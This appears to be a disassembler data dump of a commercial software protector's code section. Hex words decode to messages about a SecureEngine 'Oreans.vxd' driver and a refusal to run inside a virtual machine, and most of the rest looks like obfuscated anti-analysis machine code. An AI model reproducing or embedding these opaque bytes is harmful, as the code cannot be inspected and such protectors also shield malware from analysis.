656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) aSOreans_vxd db '%s\Oreans.vxd',0 align 4 dd 2 dup(0) aXprotevent db 'XprotEvent',0 align 4 dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0) dd 38B9C48Bh, 8974C759h, 481F4D85h, 0D9852906h, 8006480Ah dd 0C08B65D5h, 20E9BD83h, 75000648h, 61BD8309h, 6482Ch dd 53501974h, 3DB8C08Bh, 89000004h, 4828A185h, 2C9D8D06h dd 0FF064AB0h, 83585BD3h, 482C61BDh, 17740006h, 3DB85350h dd 89000004h, 4828A185h, 1B9D8D06h, 0FF064AADh, 6A585BD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 3A62C352h, 897FEBE6h, 4828318Dh, 3DB52906h dd 0F064821h, 68Fh, 71958900h, 8B06482Fh, 8BEB8AC0h, 918D8BC0h dd 8306481Bh, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h dd 8B535013h, 0B8C0h, 9D8D0000h, 64AAECEh, 585BD3FFh, 2C61BD83h dd 74000648h, 0B8535011h, 0 dd 0AD7F9D8Dh, 0D3FF064Ah, 0E860585Bh, 14h, 40A3EDD6h dd 167EB477h, 8C5F2C0h, 0E2B5E292h, 5088BA2Eh, 95BCF8Bh dd 481FC595h, 8B666106h, 0F9C08BF9h, 0B509C08Bh, 6481D8Dh dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501374h dd 0B8C08Bh, 8D000000h, 4AAE009Dh, 5BD3FF06h, 61BD8358h dd 6482Ch, 53501174h, 0B8h, 4D9D8D00h, 0FF064AADh, 81585BD3h dd 107457F7h, 0BC08B2Eh, 4823B1BDh, 0FC08B06h, 684h, 0C9950B00h dd 83064806h, 4820E9BDh, 9750006h, 2C61BD83h, 74000648h dd 8B535013h, 0B8C0h, 9D8D0000h, 64AAE67h, 585BD3FFh, 2C61BD83h dd 74000648h, 0B8535011h, 0 dd 0AD669D8Dh, 0D3FF064Ah, 6A585Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 25FC00C3h dd 0CA8B6656h, 56006A5Ah, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 5E453A5Bh, 0F4E17DC9h dd 0BD8BDCABh, 648012Dh, 0EE9C08Bh, 2A000000h, 63E52BE1h dd 3686E823h, 117C2D4Bh, 0FC08B54h, 0BD83C9B7h, 64820E9h dd 83097500h, 482C61BDh, 13740006h, 0C08B5350h, 0B8h, 999D8D00h dd 0FF064AADh, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0A32C352h, 7A4B55B8h dd 5EB4972Ch, 9DB58B60h, 8906482Bh, 480709BDh, 0C08B6106h dd 0A5852360h, 8B06481Ah, 483085B5h, 0C08B6106h, 0BF70EF81h dd 0BD836C3Bh, 64820E9h, 83097500h, 482C61BDh, 19740006h dd 0C08B5350h, 7D0B8h, 0A1858900h, 8D064828h, 4AB02C9Dh dd 5BD3FF06h, 61BD8358h, 6482Ch, 53501774h, 7D0B8h, 0A1858900h dd 8D064828h, 4AAD1B9Dh, 5BD3FF06h, 55B52958h, 6A06480Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 7BB5C356h, 575AF808h, 3570A1Dh, 4829858Dh dd 0C08B5A06h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 41C35141h, 92C78166h, 0C6319101h, 48276D85h, 63B25306h dd 6898D31h, 90680648h, 399395Fh, 481EC98Dh, 21B5FF06h dd 906482Ch, 481E2D9Dh, 0BD895706h, 6482D69h, 78858D5Ah dd 60064838h, 0B589A6B4h, 6481E2Dh, 0CA816661h, 0D0FF001Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 1AC35040h dd 5E6486B6h, 8589ACDAh, 64820BDh, 2820Fh, 0FA8B0000h dd 276D85C6h, 0E8570648h, 0Ah, 0CB510289h, 82D3D977h, 0BD03EC91h dd 64822A5h, 5206685Fh, 6A9004h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 3F0868C3h, 810FDF92h dd 6, 150D958Bh, 0CA810648h, 1F6563B9h, 1D91E981h, 0B5FF42A2h dd 6482C21h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 97C35343h, 0E8D7E96Dh, 0Ah, 0E0D91h, 0F6620200h dd 8589F4C5h, 648140Dh, 78858D5Ah, 0F9064838h, 8B66D0FFh dd 0A58589CEh, 0F06480Ah, 682h, 3D958B00h, 0C6064824h dd 48276D85h, 6A4306h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 812BF5C3h, 727F2FE2h, 68D38B1Dh dd 0BC907028h, 6E9h, 255EC900h, 0FFE3136Eh, 482C21B5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 13CF07A5h, 3878858Dh, 81660648h, 0FF7A25CFh dd 619509D0h, 8B06482Fh, 482BF595h, 0BD858906h, 0F8064819h dd 276D85C6h, 894C0648h, 481051BDh, 1CE96806h, 0BA66D9DAh dd 0B5FF4F5Dh, 6482C21h, 8DCE8B66h, 48387885h, 35852906h dd 0FF06481Dh, 0DFCF81D0h, 89624408h, 481EC585h, 0A1958B06h dd 0C606482Bh, 48276D85h, 80604606h, 13E87BE1h, 0BB000000h dd 0B0E1E1C0h, 5F059D71h, 0FA0140BDh, 0F7D471C9h, 858BAF69h dd 6480971h, 1468615Fh, 29BADE06h, 4831E59Dh, 21B5FF06h dd 8B06482Ch, 76DA80C8h, 3878858Dh, 0FE90648h, 0E7000000h dd 821D5FA5h, 89967BEBh, 71C3C0CDh, 9E9B28Eh, 2C000000h dd 0CE78BEF9h, 486089D3h, 3BBAD0FFh, 894BF523h, 482D1985h dd 0C6C88B06h, 48276D85h, 958B4706h, 6481BD1h, 0FB5E268h dd 56006A8Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8D8B2ADCh, 64806B9h, 2C21B5FFh, 8D8B0648h dd 6482971h, 3878858Dh, 958B0648h, 6480EFDh, 46EDF181h dd 0D0FF180Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0ACC35747h, 6FE55FBDh, 0CC5063E4h, 0A0BF662Bh dd 41858964h, 0E9064824h, 6, 0FECFBC3Bh, 85C64A6Dh, 648276Dh dd 81B52947h, 6806480Ch, 83D0B5F3h, 0FFD1B70Fh, 482C21B5h dd 0EE906h, 54F70000h, 0B53EFD3h, 27107583h, 336D9105h dd 3878858Dh, 0B70F0648h, 0F4DD80F9h, 8A0FD0FFh, 3, 89CBB70Fh dd 481E5985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 4A4C8BFFh, 8E3F942Ah, 958970D0h dd 6482541h, 276D85C6h, 0BA770648h, 411020F8h, 97A8A368h dd 55006AF3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0F4563520h, 1B36D6A6h, 0F6015DEh, 58Dh dd 0EA816600h, 9D297C38h, 6480511h, 5DB5FF61h, 89064820h dd 4830B9B5h, 78858D06h, 8B064838h, 480045BDh, 0C9E78106h dd 0FF4528BBh, 0BDBD8BD0h, 0E9064826h, 12h, 0FDE634F0h dd 6C48EE7Ah, 0E298AD65h, 261E71B3h, 8589F97Ah, 64804D1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 79C35040h dd 8BC8AC04h, 7AED80D3h, 276D85C6h, 6A470648h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 81C3C356h, 804F0725h, 0F6681FF2h, 318728FAh, 4805C99Dh dd 21B5FF06h, 306482Ch, 4825018Dh, 78858D06h, 6A064838h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0A0DAC357h, 4E5BAF5Ah, 295F8C9Dh, 48272D95h dd 0E8D0FF06h, 9, 3C3A80DFh, 2DE3A1EDh, 6870F84h, 8B000000h dd 4821C58Dh, 85895F06h, 6480AE5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 60C35646h, 9D09CAF9h, 6482B5Dh dd 8E8h, 0C4B6E800h, 0EEE48CF4h, 11BD2992h, 5F064806h dd 276D85C6h, 60430648h, 0EE8h, 2C75A700h, 8E5C5918h, 30DA8AB7h dd 81C4B06Eh, 46A397D3h, 8D295966h, 6481E71h, 6EFC6861h dd 6ABC8Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 83EDB6C3h, 30470177h, 0FFE1B535h, 482C21B5h dd 3860F06h, 66000000h, 858DFA8Bh, 6483878h, 5E8h, 7737F00h dd 0B96678BDh, 0FF5FE83Fh, 758589D0h, 6A06480Ch, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 8EC7C351h, 359529FCh, 0C6064832h, 48276D85h, 0BD894506h dd 648281Dh, 72696968h, 9E98Eh, 0CF660000h, 24364978h dd 0FFCA58B6h, 482C21B5h, 8DD18B06h, 48387885h, 218D8B06h dd 0FF06482Eh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 6FB986B5h, 89DDB268h dd 482A6985h, 5D958B06h, 0C6064830h, 48276D85h, 64684406h dd 80B8F2ECh, 0B5FF78D6h, 6482C21h, 0A96493B9h, 78858D78h dd 52064838h, 0FF59D68Bh, 85BD8BD0h, 89064804h, 4832CD85h dd 4D858906h, 0C6064809h, 48276D85h, 9D014306h, 64820A5h dd 764AA768h, 18D01C0h, 0FF06482Dh, 482C21B5h, 78858D06h dd 0F064838h, 680h, 0F59D0100h, 0FF06482Eh, 0A18501D0h dd 0E806480Bh, 0Ah, 0CDB69325h, 7C4183B7h, 0F7B146A5h dd 4185895Fh, 6A06480Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 9E73C352h, 0A18D8BC6h dd 80064829h, 4B0486BDh, 840F0006h, 6Fh, 14E98D8Bh, 858D0648h dd 64B0468h, 2D958589h, 66500648h, 6A8397BAh, 66D18B01h dd 6AFE8Bh, 7E956h, 180A0000h, 34A819D7h, 6A595Eh, 3015B531h dd 95FF0648h, 64819BDh, 89D2B70Fh, 4824BD85h, 859D8906h dd 0E9064800h, 7, 0AAAF433Dh, 6A25B356h, 0BDB5FFFFh, 81064824h dd 2345ED2h, 0A595FF61h, 6606480Ah, 8B671DBFh, 0FBBF0FC0h dd 20E9BD83h, 75000648h, 61BD8309h, 6482Ch, 53501974h dd 0D1B8C08Bh, 89000007h, 4828A185h, 2C9D8D06h, 0FF064AB0h dd 83585BD3h, 482C61BDh, 17740006h, 0D1B85350h, 89000007h dd 4828A185h, 1B9D8D06h, 0FF064AADh, 6A585BD3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 33A2C356h, 2589958Bh, 0B5890648h, 6480469h, 13F1B589h dd 0C08B0648h, 20AD958Bh, 85C60648h, 648276Dh, 0E5858947h dd 0F064814h, 88Ah, 0BD8B5000h, 6481A61h, 0F7C1685Fh, 958993C8h dd 64828F5h, 2C21B5FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 550EC8C3h, 5263DE41h dd 0F448C54h, 586h, 0A371BF00h, 0E9506F27h, 0Eh, 35D23C31h dd 0D6C6B080h, 0C2F92816h, 8D5F4296h, 48387885h, 8E806h dd 4170000h, 0EFF3B9B2h, 8D8B7773h, 6481A95h, 81D0FF59h dd 7ECCDBD2h, 8A0F5036h, 6, 0EEDBD8Bh, 858D0648h, 64B08A9h dd 0D40EBF66h, 9400C7h, 860F0000h, 1Ah, 11E960h, 86020000h dd 93D69D08h, 6B69A79h, 3F72CB36h, 60CDB45Ch, 0F586161h dd 0B58DFBB7h, 64B08A9h, 227D8D31h, 89560648h, 4820859Dh dd 66D0FF06h, 7D2C281h, 8A9858Dh, 0BD8B064Bh, 6481569h dd 6047883h, 18850Fh, 0F88B0000h, 93D85C7h, 1064Bh, 66600000h dd 8BBF4BBFh, 48008D95h, 0BD836106h, 6480FA1h, 5E850F00h dd 0E9000000h, 0Eh, 0AE246E5Ch, 72BC90BBh, 30A108DAh, 0BD838D8Fh dd 64B093Dh, 3E850F00h, 8B000000h, 483101BDh, 7E806h, 0BA8C0000h dd 5531505Eh, 835FF81Ah, 480D19BDh, 840F0006h, 1Dh, 15B50956h dd 5F064815h, 58C78166h, 6D85C7BEh, 6481Ah, 29000000h dd 4809A59Dh, 0DB8C6606h, 0DE9h, 1502E500h, 0AE0E5344h dd 30B172FDh, 0C3F6F0FFh, 83840F04h, 9000005h, 480E65B5h dd 4985C706h, 64819h, 0E9000000h, 5, 5150BE21h, 93BD80E9h dd 64B04h, 4850Fh, 0B9660000h, 85C6F4B3h, 648276Dh, 0F58D0347h dd 68064814h, 0E3E45B86h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0EC35747h, 8B104E24h, 481A41BDh, 6E906h dd 8B780000h, 8A4BC507h, 2C21B5FFh, 11E80648h, 71000000h dd 58C7CB81h, 9C601D85h, 58AE83AEh, 0E4BBD292h, 8D5AF18Ah dd 48387885h, 6890F06h, 8B000000h, 4819C58Dh, 6AD0FF06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 7536C350h, 5E2743F5h, 0EE8BBh, 0AA170000h dd 0AEFD322Eh, 25AF0472h, 0BA878C65h, 70CFD981h, 685A5F05h dd 104h, 84B5C88Bh, 1319D8Dh, 95290648h, 648274Dh, 0F58D2B53h dd 0FF06480Dh, 119589D0h, 8D064810h, 48013185h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0B97AB98Bh, 3570778Ah, 52006A50h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 8E795FE1h dd 998D8B2Ah, 0B906481Bh, 72419ED1h, 445858Dh, 8160064Bh dd 2C0DE8D7h, 0D4A4BB1Ch, 50610264h, 48BA6660h, 0A195897Ah dd 61064819h, 0FB18858Dh, 810F064Ah, 6, 9958Bh, 0BD8B0648h dd 6480031h, 0EDBD8B50h, 89064829h, 482F3DB5h, 0D195FF06h dd 6A064804h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0C4EAC350h, 6D958BA8h, 83064800h dd 6A0CC4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 22B8B1C3h, 6A91DDh, 8068h, 6A036A00h, 68006A00h dd 80000000h, 0FB18858Dh, 0FF50064Ah, 480C7595h, 28858906h dd 0C6064B04h, 48276D85h, 87684706h, 0FFC7B15Eh, 482C21B5h dd 78858D06h, 0FF064838h, 0FF006AD0h, 4B0428B5h, 0BFD0FF06h dd 30CAA616h, 4800Fh, 0BF660000h, 0D03D18BAh, 0F000037h dd 6483h, 0CB8B6600h, 428B5FFh, 6A064Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F9D369C3h dd 0B4195FFh, 11E80648h, 0EF000000h, 414662B2h, 0F09B3AA9h dd 0EF4595F2h, 0ED34CDB5h, 0E959C88Bh, 0DBh, 0DBD8D8Bh dd 0EE90648h, 8F000000h, 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh dd 28B5FF56h, 8B064B04h, 4804A5BDh, 4195FF06h, 0F06480Bh dd 0C85h, 6840F00h, 8B000000h, 48105195h, 8A006A06h, 0A1F181CAh dd 6A33C9E7h, 0D08B6600h, 0BE9006Ah, 0 dd 725CFDE8h, 0D6F8C4BAh, 6AB2C0h, 2D1DBD09h, 6A0648h dd 0CF816653h, 6A5F015Ah, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 7E8D9617h dd 0A3BC6FCDh, 8B50FB01h, 480E25BDh, 858D5906h, 64B042Ch dd 50D7B70Fh, 95FFC88Bh, 6480C75h, 13E9h, 3A612D00h, 1244CE63h dd 0F1923137h, 0DEE6C739h, 1BCE30FAh, 0FFFF883h, 12B85h dd 0B6D98100h, 6601785Fh, 8DCC29B9h, 4ABBA585h, 297FB106h dd 482E8595h, 8BD0FF06h, 0F006AFEh, 8501D7BFh, 6480935h dd 800F006Ah, 0Eh, 9E9h, 0D516C00h, 52941F4Eh, 8B509F8Fh dd 483065BDh, 6A5A06h, 0E099503h, 6AFC0648h, 68F0F00h dd 89000000h, 4820E595h, 6AF906h, 9558589h, 6A0648h, 810F60FCh dd 6, 18C1BD89h, 820F0648h, 6, 0DA58D89h, 8D610648h, 4B042C85h dd 50F58A06h, 9E9h, 4A19400h, 0DC75D714h, 95FF4DB4h, 6480C75h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 95C35545h dd 6115A1A7h, 7E9h, 38AC5400h, 9882D825h, 0FFFF883h, 5785h dd 0FD8D0300h, 0F806482Ah, 0FE34B58Dh, 8DFC064Ah, 4AAA1785h dd 759D8906h, 0F06481Fh, 0D0FFCBBFh, 108D0Fh, 0BE90000h dd 6B000000h, 526033F9h, 0FAD52663h, 6A1E45h, 20A58509h dd 95FF0648h, 6482A69h, 18D8B60h, 8906482Fh, 482A5185h dd 0BD2B6106h, 64822ADh, 4288589h, 850F064Bh, 6, 1B29B589h dd 6A0648h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0DC35747h, 0CA816626h, 858DD25Dh, 64B0420h, 19799589h dd 0F5500648h, 2921B531h, 46A0648h, 3191C180h, 4809798Dh dd 79858D06h, 0B2064822h, 81665054h, 6ABCBACFh, 68A0F00h dd 1000000h, 4819458Dh, 0E8006A06h, 14h, 95DF8F92h, 0A0D26940h dd 0B1D03522h, 6DEA4F06h, 5EA584BEh, 9016A5Ah, 4821919Dh dd 28B5FF06h, 8B064B04h, 482BF98Dh, 0CD95FF06h, 0E8064832h dd 7, 2319B0D9h, 0FCBEA01Eh, 1AA4E959h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 143C73C3h, 0D799CAEFh, 0FE9D660h, 90000000h, 0A47804D5h dd 5D76E8F3h, 0C714F44Ch, 0C08B265Bh, 20E9BD83h, 75000648h dd 61BD8309h, 6482Ch, 53501974h, 0D2B8C08Bh, 89000007h dd 4828A185h, 2C9D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh dd 17740006h, 0D2B85350h, 89000007h, 4828A185h, 1B9D8D06h dd 0FF064AADh, 8B585BD3h, 482AF18Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0D19086DAh dd 0BF0F60DBh, 8B61F8D1h, 0D19589C0h, 8B064805h, 482339BDh dd 4985C706h, 1064819h, 31000000h, 4823F18Dh, 0E7B86806h dd 0B5FFCEE4h, 6482C2Dh, 3878858Dh, 0D0FF0648h, 28E98589h dd 0D4680648h, 0FFC005DBh, 482C2DB5h, 78858D06h, 0FF064838h dd 0BD8589D0h, 8D064813h, 4AF8D185h, 0B5FF5006h, 6482C21h dd 244195FFh, 0C00B0648h, 0D88B0B74h, 884858Dh, 0FF50064Bh dd 84858DD3h, 66064B08h, 75093883h, 0E585C70Ah, 1064804h dd 0FF000000h, 480AE595h, 0FF2506h, 0F8830000h, 0C70A7305h dd 48285D85h, 106h, 0C9BD3300h, 0E806481Dh, 6, 8A5DBC71h dd 0BA66BBC8h, 80590294h, 4B0493BDh, 850F0006h, 26h, 0E9D68B66h dd 0Fh, 2332CC29h, 0CA21C4A9h, 0AA9C3CBBh, 0E97764A5h dd 1912h, 48A0Fh, 0B9660000h, 0BD83F79Ch, 64804E5h, 0C1850F00h dd 29000000h, 482261B5h, 5D858D06h, 0E8064B04h, 11h, 0F4BE5DC8h dd 75D697CEh, 0C59AAE95h, 43C04D20h, 0EF816600h, 505F0151h dd 38A0Fh, 0C5800000h, 89016A38h, 48232D9Dh, 6A006A06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0BBB1C355h, 6AD08B66h, 0D1816600h, 95FFA560h dd 64819BDh, 0DE8h, 0F1073700h, 0A6531C94h, 2551D40Bh dd 13E9CE57h, 3B000000h, 0AC0F0023h, 0FA9DC425h, 5478947Dh dd 0E79C6712h, 8959DB67h, 4B048785h, 0FF6AF906h, 0C810Fh dd 870F0000h, 6, 0B55EC981h, 0B5FF37F3h, 64B0487h, 8CD9D01h dd 95FF0648h, 6480AA5h, 0F898858Dh, 8B66064Ah, 95FF50CEh dd 6481EC5h, 0D18B6660h, 3A21DB81h, 89614D57h, 4AF92285h dd 1D953306h, 8D06482Dh, 4AF8A585h, 17800F06h, 0E9000000h dd 12h, 0AC225BAh, 0D6DC4FA8h, 0CD7D3D5Ch, 0FDFC786Ch dd 0F504D88h, 0D84h, 8E900h, 0F74A0000h, 56DE6A8Fh, 0B5FFBA4Fh dd 64AF922h, 0FF47D980h, 48244195h, 0E9816606h, 8589409Eh dd 6481B59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0DBC35040h, 43C9CCCEh, 0DF36B25Bh, 6800Fh, 0BD890000h dd 64810D5h, 0AE9h, 0C46BF300h, 0DFA7538Bh, 0B2A8277Dh dd 13858D5Dh, 8B064AF9h, 48252D95h, 50F8B206h, 6DFBBF66h dd 0AE9h, 64FBCB00h, 33F2AE7Dh, 0FFFC50B3h, 4AF922B5h dd 5AB96606h, 4195FF65h, 8B064824h, 482BA5BDh, 36858906h dd 0F064AF9h, 683h, 61BD8B00h, 8D064829h, 4AF8F285h, 6870F06h dd 89000000h, 4822759Dh, 958B5006h, 6481E05h, 0F922B5FFh dd 0BD2B064Ah, 6482C31h, 0FFFBB70Fh, 48244195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0B94945B7h, 8589E6D8h, 6481D51h, 0F92E8589h, 0F51064Ah dd 381h, 0FBBF0F00h, 0E5858D5Fh, 0F5064AF8h, 22B5FF50h dd 89064AF9h, 4822BD85h, 4195FF06h, 0E8064824h, 5, 8AE70942h dd 68F0F6Ah, 89000000h, 480025BDh, 85895906h, 64AF932h dd 0D01BD89h, 858D0648h, 64AF900h, 50F8B70Fh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0EDC35141h, 22B5FF28h dd 0E9064AF9h, 10h, 0F65E62Ch, 0A36AD23Bh, 0B9B20417h dd 7773EFF3h, 242D8D8Bh, 95FF0648h, 6482441h, 10E9h, 0FD039200h dd 92950135h, 0BD299D2Dh, 0EF7D573Ah, 658589DDh, 6A064823h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0D5A5C355h, 840F8447h, 0 dd 8DD0BF0Fh, 4AF8B485h, 0DF816606h, 6A500644h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 20F9C356h, 3A095FF1h, 0B986277Bh, 41D37914h, 0F922B5FFh dd 8166064Ah, 0FF5B6FD9h, 48244195h, 85852906h, 57064800h dd 895FCA8Bh, 4AF92685h, 0BFA2B906h, 858D4BE1h, 64AF8C3h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 67C35343h dd 0A9BD8967h, 5006481Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0C4C35242h, 82A327CEh, 80CA8166h, 0CBBF0F64h dd 0F922B5FFh, 0FE9064Ah, 5C000000h, 89EDD51h, 0E1534D85h dd 2F10D72h, 95FFA5A9h, 6482441h, 2A8589F9h, 6A064AF9h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0F87C352h, 0BD03D7BFh, 648240Dh, 10468h dd 9CEF8100h, 8D061878h, 4AF9BA85h, 0ADBD8B06h, 50064809h dd 0FFDB589h, 858D0648h, 64AFABEh, 0E2815760h, 5B2DB3B8h dd 98D0359h, 6106482Ah, 95FFFC50h, 6481E59h, 0FC085F9h dd 685h, 69958900h, 8006480Ch, 4B0493BDh, 850F0006h, 1Dh dd 0C8E0Fh, 890F0000h, 6, 284D9589h, 9BE90648h, 89000014h dd 481F618Dh, 0E5BD8306h, 64804h, 19850Fh, 0B5890000h dd 648140Dh, 93DBD83h, 0F00064Bh, 4D84h, 8E0F00h, 8D000000h dd 4AF95785h, 0C303BA06h, 5FE959A9h, 6A000014h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 6321C352h, 17D3BC7Fh, 8D89A674h, 6482775h, 4CDA8166h dd 10E9C5h, 0BA660000h, 858D8BB1h, 64AF942h, 28D9950Bh dd 89500648h, 4822919Dh, 0BA858D06h, 0F8064AF9h, 8A0F6050h dd 6, 2BB1B58Bh, 8B0F0648h, 6, 1CA9BD89h, 83610648h, 4804E5BDh dd 840F0006h, 15h, 0CA216DBFh, 0E0858D3Ch, 66064AFAh, 0E945ADBFh dd 0Dh, 0C9858DF8h, 3064AFAh, 4825C58Dh, 81665006h, 8A9D25E9h dd 18858DCBh, 66064AFBh, 8D89CF8Bh, 6482495h, 8B666050h dd 95FF61C1h, 64804D1h, 83C9BF0Fh, 816010C4h, 5A177D9h dd 0F7816632h, 8B617779h, 15D980C0h, 20E9BD83h, 75000648h dd 61BD8309h, 6482Ch, 53501974h, 0D3B8C08Bh, 89000007h dd 4828A185h, 2C9D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh dd 17740006h, 0D3B85350h, 89000007h, 4828A185h, 1B9D8D06h dd 0FF064AADh, 0BA585BD3h, 18ECCE8Eh, 30B1B589h, 0C08B0648h dd 13E8h, 77325800h, 21F919B6h, 8A5031E5h, 0BE330FEDh dd 0D0A2F472h, 0D658D2Bh, 815A0648h, 4AF942BDh, 65726F06h dd 0BA840F61h, 8B000000h, 0BA858DD6h, 50064AF9h, 0FAF7858Dh dd 8D50064Ah, 4AFB1885h, 95FF5006h, 64804D1h, 0C60CC483h dd 48276D85h, 4F684406h, 0FF96A318h, 482C21B5h, 78858D06h dd 0FF064838h, 